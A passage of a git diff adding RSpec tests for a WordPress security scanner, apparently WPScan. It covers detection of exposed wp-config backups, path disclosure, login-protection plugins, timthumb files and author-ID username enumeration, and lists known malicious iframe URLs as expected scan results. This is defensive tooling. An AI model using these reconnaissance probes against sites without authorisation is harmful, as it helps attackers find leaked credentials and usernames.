+ it "should return an array with 1 malware url (iframe check)" do + @fixture = @fixtures_dir + "/single-iframe-infection.html" + @expected_malwares = ["http://www.thesea.org/media.php"] + end + + it "should return an array with 3 malwares url" do + @fixture = @fixtures_dir + "/multiple-infections.html" + @expected_malwares = ["http://irstde24clined.rr.nu/mm.php?d=1", "http://atio79srem.rr.nu/pmg.php?dr=1", "http://www.thesea.org/media.php"] + end + end + +end diff --git a/spec/lib/wpscan/modules/web_site_spec.rb b/spec/lib/wpscan/modules/web_site_spec.rb new file mode 100644 index 00000000..8926a571 --- /dev/null +++ b/spec/lib/wpscan/modules/web_site_spec.rb @@ -0,0 +1,77 @@ +shared_examples_for "WebSite" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/web_site' } + + before :each do + @module = WpScanModuleSpec.new('http://example.localhost/') + @module.extend(WebSite) + end + + describe "#login_url" do + it "should return the correct url : http://example.localhost/wp-login.php" do + @module.login_url.should === "http://example.localhost/wp-login.php" + end + end + + describe "#xmlrpc_url" do + it "should return the correct url : http://example.localhost/xmlrpc.php" do + @module.xmlrpc_url.should === "http://example.localhost/xmlrpc.php" + end + end + + describe "#is_wordpress?" do + # each url (wp-login and xmlrpc) pointed to a 404 + before :each do + [@module.login_url, @module.xmlrpc_url].each do |url| + stub_request(:get, url).to_return(:status => 404, :body => "") + end + end + + it "should return false if both files are not found (404)" do + @module.is_wordpress?.should be_false + end + + it "should return true if the wp-login is found and is a valid wordpress one" do + stub_request(:get, @module.login_url). + to_return(:status => 200, :body => File.new(fixtures_dir + '/wp-login.php')) + + @module.is_wordpress?.should be_true + end + + it "should return true if the xmlrpc is found" do + stub_request(:get, @module.xmlrpc_url). + to_return(:status => 200, :body => File.new(fixtures_dir + '/xmlrpc.php')) + + @module.is_wordpress?.should be_true + end + end + + describe "#is_online?" do + it "should return false" do + stub_request(:get, @module.url).to_return(:status => 0) + @module.is_online?.should be_false + end + + it "should return true" do + stub_request(:get, @module.url).to_return(:status => 200) + @module.is_online?.should be_true + end + end + + describe "#redirection" do + it "should return nil if no redirection detected" do + stub_request(:get, @module.url).to_return(:status => 200, :body => '') + + @module.redirection.should be_nil + end + + [301, 302].each do |status_code| + it "should return http://new-location.com if the status code is #{status_code}" do + stub_request(:get, @module.url). + to_return(:status => status_code, :headers => { :location => "http://new-location.com" }) + + @module.redirection.should === "http://new-location.com" + end + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_config_backup_spec.rb b/spec/lib/wpscan/modules/wp_config_backup_spec.rb new file mode 100644 index 00000000..35b2d340 --- /dev/null +++ b/spec/lib/wpscan/modules/wp_config_backup_spec.rb @@ -0,0 +1,61 @@ +shared_examples_for "WpConfigBackup" do + + before :all do + @module = WpScanModuleSpec.new('http://example.localhost') + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_config_backup' + @config_backup_files = WpConfigBackup.config_backup_files + + @module.extend(WpConfigBackup) + end + + describe "#config_backup" do + + # set all @config_backup_files to point to a 404 + before :each do + @config_backup_files.each do |backup_file| + file_url = @module.uri.merge(URI.escape(backup_file)).to_s + + stub_request(:get, file_url). + to_return(:status => 404, :body => "") + end + end + + it "shoud return an empty array if no config backup is present" do + @module.config_backup.should be_empty + end + + it "should return an array with 1 backup file" do + expected = [] + + @config_backup_files.sample(1).each do |backup_file| + file_url = @module.uri.merge(URI.escape(backup_file)).to_s + expected << file_url + + stub_request(:get, file_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php')) + end + + wp_config_backup = @module.config_backup + wp_config_backup.should_not be_empty + wp_config_backup.should === expected + end + + # Is there a way to factorise that one with the previous test ? + it "should return an array with 2 backup file" do + expected = [] + + @config_backup_files.sample(2).each do |backup_file| + file_url = @module.uri.merge(URI.escape(backup_file)).to_s + expected << file_url + + stub_request(:get, file_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/wp-config.php')) + end + + wp_config_backup = @module.config_backup + wp_config_backup.should_not be_empty + wp_config_backup.sort.should === expected.sort + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb b/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb new file mode 100644 index 00000000..ba682e71 --- /dev/null +++ b/spec/lib/wpscan/modules/wp_full_path_disclosure_spec.rb @@ -0,0 +1,40 @@ +shared_examples_for "WpFullPathDisclosure" do + + before :all do + @module = WpScanModuleSpec.new('http://example.localhost') + @module.extend(WpFullPathDisclosure) + + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_full_path_disclosure' + end + + describe "#full_path_disclosure_url" do + it "should return http://example.localhost/wp-includes/rss-functions.php" do + @module.full_path_disclosure_url.should === "http://example.localhost/wp-includes/rss-functions.php" + end + end + + describe "#has_full_path_disclosure?" do + + it "should return false on a 404" do + stub_request(:get, @module.full_path_disclosure_url). + to_return(:status => 404) + + @module.has_full_path_disclosure?.should be_false + end + + it "should return false if no fpd found (blank page for example)" do + stub_request(:get, @module.full_path_disclosure_url). + to_return(:status => 200, :body => "") + + @module.has_full_path_disclosure?.should be_false + end + + it "should return true" do + stub_request(:get, @module.full_path_disclosure_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/rss-functions-disclosure.php')) + + @module.has_full_path_disclosure?.should be_true + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_login_protection_spec.rb b/spec/lib/wpscan/modules/wp_login_protection_spec.rb new file mode 100644 index 00000000..0be8636e --- /dev/null +++ b/spec/lib/wpscan/modules/wp_login_protection_spec.rb @@ -0,0 +1,96 @@ +shared_examples_for "WpLoginProtection" do + + before :each do + @module = WpScanModuleSpec.new('http://example.localhost') + @module.extend(WpLoginProtection) + + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_login_protection' + end + + describe "#login_url" do + it "should return the login page url : http://example.localhost/wp-login.php" do + @module.login_url.should === "http://example.localhost/wp-login.php" + end + end + + # It will test all protected methods has_.*_protection with each fixtures to be sure that + # there is not false positive : for example the login-lock must not be detected as login-lockdown + describe "#has_.*_protection?" do + + pattern = WpLoginProtection.class_variable_get(:@@login_protection_method_pattern) + fixtures = + [ + "wp-login-clean.php", "wp-login-login_lockdown.php", "wp-login-login_lock.php", + "wp-login-better_wp_security.php", "wp-login-simple_login_lockdown.php", "wp-login-login_security_solution.php", + "wp-login-limit_login_attempts.php", "wp-login-bluetrait_event_viewer.php" + ] + # For plugins which are detected from the existence of their directory into wp-content/plugins/ (or one of their file) + # and not from a regex into the login page + special_plugins = ["better_wp_security", "simple_login_lockdown", "login_security_solution", "limit_login_attempts", "bluetrait_event_viewer"] + + after :each do + stub_request_to_fixture(:url => @module.login_url, :fixture => @fixture) + + # Stub all special plugins urls to a 404 except if it's the one we want + special_plugins.each do |special_plugin| + special_plugin_call_detection_symbol = :"has_#{special_plugin}_protection?" + special_plugin_call_url_symbol = :"#{special_plugin}_url" + + status_code = (@symbol_to_call === special_plugin_call_detection_symbol and @expected === true) ? 200 : 404 + stub_request(:get, @module.send(special_plugin_call_url_symbol)).to_return(:status => status_code) + end + + @module.send(@symbol_to_call).should === @expected + end + + WpLoginProtection.protected_instance_methods.grep(pattern).each do |symbol_to_call| + plugin_name_from_symbol = symbol_to_call[pattern, 1].gsub('_', '-') + + fixtures.each do |fixture| + plugin_name_from_fixture = fixture[/wp-login-(.*)\.php/i, 1].gsub('_', '-') + expected = plugin_name_from_fixture === plugin_name_from_symbol ? true : false + + it "#{symbol_to_call} with #{fixture} should return #{expected}" do + @plugin_name = plugin_name_from_fixture + @fixture = @fixtures_dir + '/' + fixture + @symbol_to_call = symbol_to_call + @expected = expected + end + end + end + end + + # Factorise this with the code above ? :D + describe "#login_protection_plugin" do + after :each do + stub_request_to_fixture(:url => @module.login_url, :fixture => @fixture) + stub_request(:get, @module.send(:better_wp_security_url)).to_return(:status => 404) + stub_request(:get, @module.send(:simple_login_lockdown_url)).to_return(:status => 404) + stub_request(:get, @module.send(:login_security_solution_url)).to_return(:status => 404) + stub_request(:get, @module.send(:limit_login_attempts_url)).to_return(:status => 404) + stub_request(:get, @module.send(:bluetrait_event_viewer_url)).to_return(:status => 404) + + @module.login_protection_plugin().should === @plugin_expected + @module.has_login_protection?.should === @has_protection_expected + end + + it "should return nil if no protection is present" do + @fixture = @fixtures_dir + "/wp-login-clean.php" + @plugin_expected = nil + @has_protection_expected = false + end + + it "should return a login-lockdown WpPlugin object" do + @fixture = @fixtures_dir + "/wp-login-login_lockdown.php" + @plugin_expected = WpPlugin.new(WpPlugin.create_location_url_from_name("login-lockdown", @module.url)) + @has_protection_expected = true + end + + it "should return a login-lock WpPlugin object" do + @fixture = @fixtures_dir + "/wp-login-login_lock.php" + @plugin_expected = WpPlugin.new(WpPlugin.create_location_url_from_name("login-lock", @module.url)) + @has_protection_expected = true + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_plugins_spec.rb b/spec/lib/wpscan/modules/wp_plugins_spec.rb new file mode 100644 index 00000000..e319a9e8 --- /dev/null +++ b/spec/lib/wpscan/modules/wp_plugins_spec.rb @@ -0,0 +1,132 @@ +shared_examples_for "WpPlugins" do + + before :all do + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_plugins' + @plugins_file = @fixtures_dir + "/plugins.txt" + @plugin_vulns_file = @fixtures_dir + "/plugin_vulns.xml" + end + + before :each do + @wp_url = "http://example.localhost" + @module = WpScanModuleSpec.new(@wp_url) + @module.error_404_hash = Digest::MD5.hexdigest("Error 404!") + @module.extend(WpPlugins) + end + + describe "#plugins_from_passive_detection" do + let(:passive_detection_fixtures) { @fixtures_dir + '/passive_detection' } + + it "should return an empty array" do + stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/no_plugins.htm')) + + plugins = @module.plugins_from_passive_detection + plugins.should be_empty + end + + it "should return the expected plugins" do + stub_request_to_fixture(:url => @module.url, :fixture => File.new(passive_detection_fixtures + '/various_plugins.htm')) + + expected_plugin_names = [ + 'wp-minify', + 'comment-info-tip', + 'tweet-blender', + 'optinpop', + 's2member', + 'wp-polls', + 'commentluv' + ] + expected_plugins = [] + expected_plugin_names.each do |plugin_name| + expected_plugins << WpPlugin.new( + WpPlugin.create_location_url_from_name(plugin_name, @module.url), + :name => plugin_name + ) + end + + plugins = @module.plugins_from_passive_detection + plugins.should_not be_empty + plugins.sort.should === expected_plugins.sort + end + end + + describe "#plugins_targets_url" do + let(:expected_for_only_vulnerable) { + [WpPlugin.create_location_url_from_name("media-library", @module.url), WpPlugin.create_location_url_from_name("deans", @module.url)] + } + let(:expected_for_all) { + expected_for_only_vulnerable + File.open(@plugins_file, 'r') {|file| file.readlines.collect{|line| WpPlugin.create_url_from_raw(line.chomp, @module.uri)}}.uniq! + } + + it "should only return url from plugin_vulns_file if :only_vulnerable_ones is true" do + targets_url = @module.plugins_targets_url( + :only_vulnerable_ones => true, + :plugin_vulns_file => @plugin_vulns_file + ) + + targets_url.should_not be_empty + targets_url.sort.should === expected_for_only_vulnerable.sort + end + + it "should return both url from plugins_file and plugin_vulns_file" do + targets_url = @module.plugins_targets_url( + :plugin_vulns_file => @plugin_vulns_file, + :plugins_file => @plugins_file + ) + + targets_url.should_not be_empty + targets_url.sort.should === expected_for_all.sort + end + end + + describe "#plugins_from_aggressive_detection" do + + before :each do + @targets_url = @module.plugins_targets_url( + :plugin_vulns_file => @plugin_vulns_file, + :plugins_file => @plugins_file + ) + # Point all targets to a 404 + @targets_url.each do |target_url| + stub_request(:get, target_url).to_return(:status => 404) + end + end + + after :each do + @passive_detection_fixture = SPEC_FIXTURES_DIR + "/empty-file" unless @passive_detection_fixture + + stub_request_to_fixture(:url => @wp_url, :fixture => @passive_detection_fixture) + + @module.plugins_from_aggressive_detection( + :plugins_file => @plugins_file, + :plugin_vulns_file => @plugin_vulns_file + ).sort.should === @expected_plugins.sort + end + + it "should return an empty array" do + @expected_plugins = [] + end + + it "should return an array with 3 WpPlugin (1 detected from passive method)" do + @expected_plugins = [] + + @targets_url.sample(2).each do |target_url| + @expected_plugins << WpPlugin.new(target_url) + stub_request(:get, target_url).to_return(:status => 200) + end + + @passive_detection_fixture = @fixtures_dir + "/passive_detection/one_plugin.htm" + @expected_plugins << WpPlugin.new("http://example.localhost/wp-content/plugins/comment-info-tip/") + end + + # testing response codes + WpPlugins.valid_response_codes.each do |valid_response_code| + it "should detect the plugin if the reponse.code is #{valid_response_code}" do + @expected_plugins = [] + + plugin_url = @targets_url.sample + @expected_plugins << WpPlugin.new(plugin_url) + stub_request(:get, plugin_url).to_return(:status => valid_response_code) + end + end + end +end diff --git a/spec/lib/wpscan/modules/wp_readme_spec.rb b/spec/lib/wpscan/modules/wp_readme_spec.rb new file mode 100644 index 00000000..4c1057c4 --- /dev/null +++ b/spec/lib/wpscan/modules/wp_readme_spec.rb @@ -0,0 +1,41 @@ +shared_examples_for "WpReadme" do + + before :all do + @module = WpScanModuleSpec.new('http://example.localhost') + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_readme' + + @module.extend(WpReadme) + end + + describe "#readme_url" do + it "should return http://example.localhost/readme.html" do + @module.readme_url.should === "#{@module.uri}/readme.html" + end + end + + describe "#has_readme?" do + + it "should return false on a 404" do + stub_request(:get, @module.readme_url). + to_return(:status => 404) + + @module.has_readme?.should be_false + end + + it "should return true if it exists" do + stub_request(:get, @module.readme_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.2.1.html')) + + @module.has_readme?.should be_true + end + + # http://code.google.com/p/wpscan/issues/detail?id=108 + it "should return true even if the readme.html is not in english" do + stub_request(:get, @module.readme_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/readme-3.3.2-fr.html')) + + @module.has_readme?.should be_true + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_timthumbs_spec.rb b/spec/lib/wpscan/modules/wp_timthumbs_spec.rb new file mode 100644 index 00000000..d23209cd --- /dev/null +++ b/spec/lib/wpscan/modules/wp_timthumbs_spec.rb @@ -0,0 +1,93 @@ +shared_examples_for "WpTimthumbs" do + + before :each do + @module = WpScanModuleSpec.new('http://example.localhost/') + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_timthumbs' + @theme_name = "bueno" + @timthumbs_file = @fixtures_dir + '/timthumbs.txt' + @targets_from_file = + [ + "http://example.localhost/wp-content/plugins/fotoslide/timthumb.php", + "http://example.localhost/wp-content/plugins/feature-slideshow/timthumb.php" + ] + @targets_from_theme = + [ + 'http://example.localhost/wp-content/themes/' + @theme_name + '/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/lib/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/inc/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/includes/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/scripts/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/tools/timthumb.php', + 'http://example.localhost/wp-content/themes/' + @theme_name + '/functions/timthumb.php' + ] + + @module.extend(WpTimthumbs) + end + + describe "#timthumbs_file" do + it "should return #{DATA_DIR}/timthumb.txt" do + WpTimthumbs.timthumbs_file.should === "#{DATA_DIR}/timthumbs.txt" + end + + it "should return hello/file.txt" do + WpTimthumbs.timthumbs_file("hello/file.txt").should === "hello/file.txt" + end + end + + describe "#targets_url_from_theme" do + it "should return the targets for the theme" do + targets = @module.send(:targets_url_from_theme, @theme_name) + + targets.should_not be_empty + targets.sort.should === @targets_from_theme.sort + end + end + + describe "#timthumbs_targets_url" do + it "should return only the targets from the timthumbs file" do + targets = @module.timthumbs_targets_url(:timthumbs_file => @timthumbs_file) + + targets.should_not be_empty + targets.sort.should === @targets_from_file.sort + end + + it "should return targets from timthumbs file and theme" do + targets = @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file) + + targets.should_not be_empty + targets.sort.should === (@targets_from_file + @targets_from_theme).sort + end + end + + describe "#timthumbs" do + + before :each do + @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file).each do |target_url| + stub_request(:get, target_url).to_return(:status => 404) + end + end + + it "should return an empty array" do + timthumbs = @module.timthumbs(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file) + + timthumbs.should be_empty + @module.has_timthumbs?.should be_false + end + + it "should return an array with 2 timthumbs url" do + expected = [] + @module.timthumbs_targets_url(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file).sample(2).each do |target_url| + expected << target_url + + stub_request(:get, target_url). + to_return(:status => 200, :body => File.new(@fixtures_dir + "/timthumb.php")) + end + + timthumbs = @module.timthumbs(:theme_name => @theme_name, :timthumbs_file => @timthumbs_file) + timthumbs.should_not be_empty + timthumbs.sort.should === expected.sort + @module.has_timthumbs?.should be_true + end + end + +end diff --git a/spec/lib/wpscan/modules/wp_usernames_spec.rb b/spec/lib/wpscan/modules/wp_usernames_spec.rb new file mode 100644 index 00000000..6c5794de --- /dev/null +++ b/spec/lib/wpscan/modules/wp_usernames_spec.rb @@ -0,0 +1,68 @@ +shared_examples_for "WpUsernames" do + + before :each do + @target_url = 'http://example.localhost/' + @module = WpScanModuleSpec.new(@target_url) + @fixtures_dir = SPEC_FIXTURES_WPSCAN_MODULES_DIR + '/wp_usernames' + + @module.extend(WpUsernames) + end + + describe "#author_url" do + it "should return the auhor url according to his id" do + @module.author_url(1).should === "#{@target_url}?author=1" + end + end + + describe "#usernames" do + before :each do + (1..10).each do |index| + stub_request(:get, @module.author_url(index)).to_return(:status => 404) + end + end + + it "should return an empty array" do + @module.usernames.should be_empty + end + + it "should return an array with 1 username (from header location)" do + stub_request(:get, @module.author_url(3)). + to_return(:status => 301, :headers => { 'location' => '/author/Youhou/'}) + + usernames = @module.usernames + usernames.should_not be_empty + usernames.should === ["Youhou"] + end + + it "should return an array with 1 username (from in the body response)" do + stub_request(:get, @module.author_url(2)). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm')) + + usernames = @module.usernames(:range => (1..2)) + usernames.should_not be_empty + usernames.should === ["admin"] + end + + it "should return an array with 1 username (testing duplicates)" do + (2..3).each do |id| + stub_request(:get, @module.author_url(id)). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm')) + end + + @module.usernames(:range => (1..3)).should === ["admin"] + end + + it "should return an array with 2 usernames (one is a duplicate and should not be present twice)" do + stub_request(:get, @module.author_url(4)). + to_return(:status => 301, :headers => { 'location' => '/author/Youhou/'}) + + stub_request(:get, @module.author_url(2)). + to_return(:status => 200, :body => File.new(@fixtures_dir + '/admin.htm')) + + usernames = @module.usernames(:range => (1..5)) + usernames.should_not be_empty + usernames.sort.should === ["admin", "Youhou"].sort + end + end + +end diff --git a/spec/lib/wpscan/wp_plugin_spec.rb b/spec/lib/wpscan/wp_plugin_spec.rb new file mode 100644 index 00000000..4f001292 --- /dev/null +++ b/spec/lib/wpscan/wp_plugin_spec.rb @@ -0,0 +1,218 @@ +require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper') + +describe WpPlugin do + + before :all do + @browser = Browser.instance(:config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json') + end + + describe "#location_uri_from_url" do + after :each do + if @url + uri = WpPlugin.location_uri_from_url(@url) + + uri.should be_a URI + uri.to_s.should === @expected_uri_string + end + end + + #it "should raise an error if the url is not valid" do + # expect { WpPlugin.location_uri_from_url("example.com") }.to raise_error + # expect { WpPlugin.location_uri_from_url("http://example.com/wp-includes/plugins/example/") }.to raise_error + #end + + it "should return the uri without the file" do + @url = "http://example.com/wp-content/plugins/example/readme.txt" + @expected_uri_string = "http://example.com/wp-content/plugins/example/" + end + + it "should return the same uri" do + @url = "http://example.com/wp-content/plugins/hello-world/" + @expected_uri_string = @url + end + + # http://code.google.com/p/wpscan/issues/detail?id=146 + it "should not raise an error if the url uses https" do + @url = "https://example.com/folder1/folder2/wp-content/plugins/user-role-editor/index.php" + @expected_uri_string = "https://example.com/folder1/folder2/wp-content/plugins/user-role-editor/" + end + + it "should add the last slash if it's not present" do + @url = "http://example.com/wp-content/plugins/test-one" + @expected_uri_string = "#{@url}/" + end + end + + describe "#extract_name_from_location_url" do + it "should return 'example-plugin'" do + WpPlugin.extract_name_from_location_url('http://example.com/wp-content/plugins/example-plugin/').should === 'example-plugin' + end + end + + describe "#create_location_url_from_name" do + after :each do + WpPlugin.create_location_url_from_name(@plugin_name, @target_url).should === @expected_url + end + + it "should return 'http://example.com/$wp-plugins$/example/'" do + @plugin_name = "example" + @target_url = "http://example.com/" + @expected_url = "http://example.com/$wp-plugins$/example/" + end + + it "should return 'http://example.com/$wp-plugins$/example/' even if the last '/' is not in the target url" do + @plugin_name = "example" + @target_url = "http://example.com" + @expected_url = "http://example.com/$wp-plugins$/example/" + end + + it "should return http://example.com/$wp-plugins$/example-test/" do + @plugin_name = "example-test" + @target_url = "http://example.com" + @expected_url = "http://example.com/$wp-plugins$/example-test/" + end + + it "should return http://example.com/$wp-plugins$/something%20with%20spaces/" do + @plugin_name = "something with spaces" + @target_url = "http://example.com" + @expected_url = URI.escape("http://example.com/$wp-plugins$/something with spaces/") + end + end + + describe "#create_url_from_raw" do + it "should return http://example.com/$wp-plugins$/example-test/readme.txt" do + WpPlugin.create_url_from_raw("example-test/readme.txt", URI.parse("http://example.com")).should === "http://example.com/$wp-plugins$/example-test/readme.txt" + end + end + + describe "#initialize" do + let(:location_url) { 'http://example.com/wp-content/plugins/example/' } + + it "should raise an exception" do + expect { WpPlugin.new('invalid location url') }.to raise_error + end + + it "should initialize the object (no options given), :name should be 'example'" do + wp_plugin = WpPlugin.new(location_url) + wp_plugin.name.should === 'example' + wp_plugin.location_url.should === location_url + end + + it "should initialize the object (options[:name] = 'example')" do + wp_plugin = WpPlugin.new(location_url, :name => 'example') + wp_plugin.name.should === 'example' + wp_plugin.location_url.should === location_url + end + end + + # TODO + describe "operators : ==, ===, <=>" do + + end + + #TODO + describe "#location_url" do + + end + + describe "#version" do + let(:location_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/' } + let(:wp_plugin) { WpPlugin.new(location_url) } + let(:readme_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/readme.txt' } + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/version' } + + it "should return nil if the readme.txt does not exist" do + stub_request(:get, readme_url). + to_return(:status => 404) + + wp_plugin.version.should be_nil + end + + it "should return nil if the version is invalid (IE : trunk etc)" do + stub_request(:get, readme_url). + to_return(:status => 200, :body => File.new(fixtures_dir + '/trunk-version.txt')) + + wp_plugin.version.should be_nil + end + + it "should return the version 0.4" do + stub_request(:get, readme_url). + to_return(:status => 200, :body => File.new(fixtures_dir + '/simple-login-lockdown-0.4.txt')) + + wp_plugin.version.should === '0.4' + end + end + + describe "#vulnerabilities" do + let(:location_url) { 'http://example.localhost/wp-content/plugins/spec-plugin/' } + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/vulnerabilities' } + let(:vulns_xml) { fixtures_dir + '/plugin_vulns.xml' } + let(:wp_plugin) { WpPlugin.new(location_url, :vulns_xml => vulns_xml) } + + + it "should return an empty array when no vulnerabilities are found" do + WpPlugin.new( + 'http://example.localhost/wp-content/plugins/no-vulns/', + :vulns_xml => vulns_xml + ).vulnerabilities.should be_empty + end + + it "should return an arry with 2 vulnerabilities" do + vulnerabilities = wp_plugin.vulnerabilities + + vulnerabilities.should_not be_empty + vulnerabilities.length.should == 2 + vulnerabilities.each { |vulnerability| vulnerability.should be_a WpVulnerability } + vulnerabilities[0].title.should === 'WPScan Spec' + vulnerabilities[1].title.should === 'Spec SQL Injection' + end + end + + describe "#error_log* (#error_log_url & #error_log?)" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_PLUGIN_DIR + '/error_log' } + let(:location_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/' } + let(:error_log_url) { 'http://example.localhost/wp-content/plugins/simple-login-lockdown/error_log' } + let(:wp_plugin) { WpPlugin.new(location_url) } + + it "should return the url of the error log" do + wp_plugin.error_log_url.should === error_log_url + end + + it "should return false on a 404" do + stub_request(:get, error_log_url). + to_return(:status => 404) + + wp_plugin.error_log?.should be_false + end + + it "should return true" do + stub_request(:get, error_log_url). + to_return(:status => 200, :body => File.new(fixtures_dir + '/error_log')) + + wp_plugin.error_log?.should be_true + end + end + + describe "#directory_listing?" do + let(:wp_plugin) { WpPlugin.new('http://example.localhost/wp-content/plugins/simple-login-lockdown/readme.txt') } + + it "should return false on a 404" do + stub_request(:get, wp_plugin.location_url).to_return(:status => 404) + + wp_plugin.directory_listing?.should be_false + end + + it "should return false on a blank page" do + stub_request(:get, wp_plugin.location_url).to_return(:status => 200, :body => '') + + wp_plugin.directory_listing?.should be_false + end + + it "should return true" do + stub_request(:get, wp_plugin.location_url). + to_return(:status => 200, :body => "Index of simple-login-lockdown") + + wp_plugin.directory_listing?.should be_true + end + end +end diff --git a/spec/lib/wpscan/wp_target_spec.rb b/spec/lib/wpscan/wp_target_spec.rb new file mode 100644 index 00000000..e8aa1915 --- /dev/null +++ b/spec/lib/wpscan/wp_target_spec.rb @@ -0,0 +1,135 @@ +require File.expand_path(File.dirname(__FILE__) + '/wpscan_helper') + +describe WpTarget do + + before :each do + Browser.reset + browser_options = + { + :config_file => SPEC_FIXTURES_CONF_DIR + '/browser/browser.conf.json', + :cache_timeout => 0 + } + @wp_target = WpTarget.new("http://example.localhost/", browser_options) + end + + it_should_behave_like "WebSite" + it_should_behave_like "WpReadme" + it_should_behave_like "WpConfigBackup" + it_should_behave_like "WpFullPathDisclosure" + it_should_behave_like "WpLoginProtection" + it_should_behave_like "Malwares" + it_should_behave_like "WpUsernames" + it_should_behave_like "WpTimthumbs" + it_should_behave_like "WpPlugins" + + describe "#initialize" do + it "should raise an error if the target_url is nil or empty" do + expect { WpTarget.new(nil) }.to raise_error + expect { Wptarget.new('') }.to raise_error + end + end + + describe "#url" do + it "should return the url of the target" do + @wp_target.url.should === @wp_target.uri.to_s + end + end + + describe "#login_url" do + let(:login_url) { @wp_target.uri.merge("wp-login.php").to_s } + + it "should return the login url of the target" do + stub_request(:get, login_url).to_return(:status => 200, :body => '') + + @wp_target.login_url.should === login_url + end + + it "should return the redirection url if there is one (ie: for https)" do + https_login_url = login_url.gsub(/^http:/, "https:") + + stub_request(:get, login_url).to_return(:status => 302, :headers => {:location => https_login_url}) + + @wp_target.login_url.should === https_login_url + end + end + + describe "#error_404_hash" do + it "should return the md5sum of the 404 page" do + stub_request(:any, /.*/). + to_return(:status => 404, :body => "404 page !") + + @wp_target.error_404_hash.should === Digest::MD5.hexdigest("404 page !") + end + end + + describe "#wp_content_dir" do + let(:fixtures_dir) { SPEC_FIXTURES_WPSCAN_WP_TARGET_DIR + "/wp_content_dir" } + + after :each do + @wp_target = WpTarget.new(@target_url) if @target_url + stub_request_to_fixture(:url => @wp_target.url, :fixture => @fixture) if @fixture + + @wp_target.wp_content_dir.should === @expected + end + + it "should return the string set in the initialize method" do + @wp_target = WpTarget.new("http://example.localhost/", :wp_content_dir => "hello-world") + @expected = "hello-world" + end + + it "should return 'wp-content'" do + @target_url = "http://lamp/wordpress-3.4.1" + @fixture = fixtures_dir + "/wordpress-3.4.1.htm" + @expected = "wp-content" + end + + it "should find the default 'wp-content' dir even if the target_url is not the same (ie : the user supply an IP address and the url used in the code is a domain)" do + @target_url = "http://192.168.1.103/wordpress-3.4.1/" + @fixture = fixtures_dir + "/wordpress-3.4.1.htm" + @expected = "wp-content" + end + + it "should return 'custom-content'" do + @target_url = "http://lamp/wordpress-3.4.1-custom" + @fixture = fixtures_dir + "/wordpress-3.4.1-custom.htm" + @expected = "custom-content" + end + + it "should return 'custom content spaces'" do + @target_url = "http://lamp/wordpress-3.4.1-custom" + @fixture = fixtures_dir + "/wordpress-3.4.1-custom-with-spaces.htm" + @expected = "custom content spaces" + end + + it "should return 'custom-dir/subdir/content'" do + @target_url = "http://lamp/wordpress-3.4.1-custom" + @fixture = fixtures_dir + "/wordpress-3.4.1-custom-subdirectories.htm" + @expected = "custom-dir/subdir/content" + end + + it "should also check in src attributes" do + @target_url = "http://lamp/wordpress-3.4.1" + @fixture = fixtures_dir + "/wordpress-3.4.1-in-src.htm" + @expected = "wp-content" + end + + end + + describe "#wp_plugins_dir" do + after :each do + @wp_target.stub(:wp_content_dir => @stub_value) if @stub_value + + @wp_target.wp_plugins_dir.should === @expected + end + + it "should return the string set in the initialize method" do + @wp_target = WpTarget.new("http://example.localhost/", :wp_plugins_dir => "custom-plugins") + @expected = "custom-plugins" + end + + it "should return 'wp-content/plugins'" do + @stub_value = "wp-content" + @expected = "wp-content/plugins" + end + end +end diff --git a/spec/lib/wpscan/wp_theme_spec.rb b/spec/lib/wpscan/wp_theme_spec.rb new file mode 100644 index 00000000..85b072f4 --- /dev/null +++ b/spec/lib/wpscan/wp_theme_spec.rb @@ -0,0 +1,149 @@ +require File.expand_path(File.dirname(__FILE__) + "/wpscan_helper") + +describe WpTheme do + + before :all do + @target_uri = URI.parse("http://example.localhost/") + + Browser.instance( + :config_file => SPEC_FIXTURES_CONF_DIR + "/browser/browser.conf.json", + :cache_timeout => 0 + ) + end + + describe "#to_s" do + it "should return the theme name and the version if there is one" do + wp_theme = WpTheme.new("bueno", :version => "1.2.3") + + wp_theme.to_s.should === "bueno v1.2.3" + end + + it "should not add the version if there is not" do + style_url = @target_uri.merge("wp-content/themes/hello-world/style.css").to_s + + stub_request(:get, style_url).to_return(:status => 200, :body => "") + + wp_theme = 